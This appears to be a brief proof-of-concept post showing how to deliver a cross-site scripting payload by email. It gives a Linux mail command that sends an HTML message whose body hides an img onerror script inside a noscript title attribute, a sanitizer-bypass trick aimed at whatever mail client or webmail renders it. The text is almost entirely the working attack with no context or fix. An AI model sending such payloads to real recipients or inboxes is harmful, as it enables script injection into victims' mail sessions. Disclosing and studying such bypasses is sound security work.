Need any help mail to [email protected]
To exploit this you need to use the Linux mail command. Like this
mail -a "Content-type: text/html" -s "My little pony" \ [email protected] <<EOD<html><head></head><body><noscript><p title="</noscript><img src=x onerror=alert(2)>"></p></noscript></body></html>EOD